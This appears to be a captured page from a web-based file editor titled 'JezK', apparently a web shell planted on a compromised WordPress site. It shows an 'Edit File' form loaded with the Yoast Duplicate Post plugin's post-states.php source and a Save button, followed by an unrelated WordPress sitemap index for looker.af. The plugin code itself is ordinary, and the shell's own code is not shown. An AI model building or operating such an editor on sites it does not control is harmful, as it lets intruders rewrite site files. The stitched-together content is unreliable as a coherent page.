
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: post-states.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Yoast\WP\Duplicate_Post\UI;

use WP_Post;
use Yoast\WP\Duplicate_Post\Permissions_Helper;
use Yoast\WP\Duplicate_Post\Utils;

/**
 * Duplicate Post class to manage the post states display.
 */
class Post_States {

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Initializes the class.
	 *
	 * @param Permissions_Helper $permissions_helper The Permissions helper object.
	 */
	public function __construct( Permissions_Helper $permissions_helper ) {
		$this-&gt;permissions_helper = $permissions_helper;
	}

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( &#039;display_post_states&#039;, [ $this, &#039;show_original_in_post_states&#039; ], 10, 2 );
	}

	/**
	 * Shows link to original post in the post states.
	 *
	 * @param array   $post_states The array of post states.
	 * @param WP_Post $post        The current post.
	 *
	 * @return array The updated post states array.
	 */
	public function show_original_in_post_states( $post_states, $post ) {
		if ( ! $post instanceof WP_Post
			|| ! \is_array( $post_states ) ) {
			return $post_states;
		}

		$original_item = Utils::get_original( $post );

		if ( ! $original_item ) {
			return $post_states;
		}

		if ( $this-&gt;permissions_helper-&gt;is_rewrite_and_republish_copy( $post ) ) {
			/* translators: %s: Original item link (to view or edit) or title. */
			$post_states[&#039;duplicate_post_original_item&#039;] = \sprintf( \esc_html__( &#039;Rewrite &amp; Republish of %s&#039;, &#039;duplicate-post&#039; ), Utils::get_edit_or_view_link( $original_item ) );
			return $post_states;
		}

		if ( \intval( \get_option( &#039;duplicate_post_show_original_in_post_states&#039; ) ) === 1 ) {
			/* translators: %s: Original item link (to view or edit) or title. */
			$post_states[&#039;duplicate_post_original_item&#039;] = \sprintf( \__( &#039;Original: %s&#039;, &#039;duplicate-post&#039; ), Utils::get_edit_or_view_link( $original_item ) );
		}

		return $post_states;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
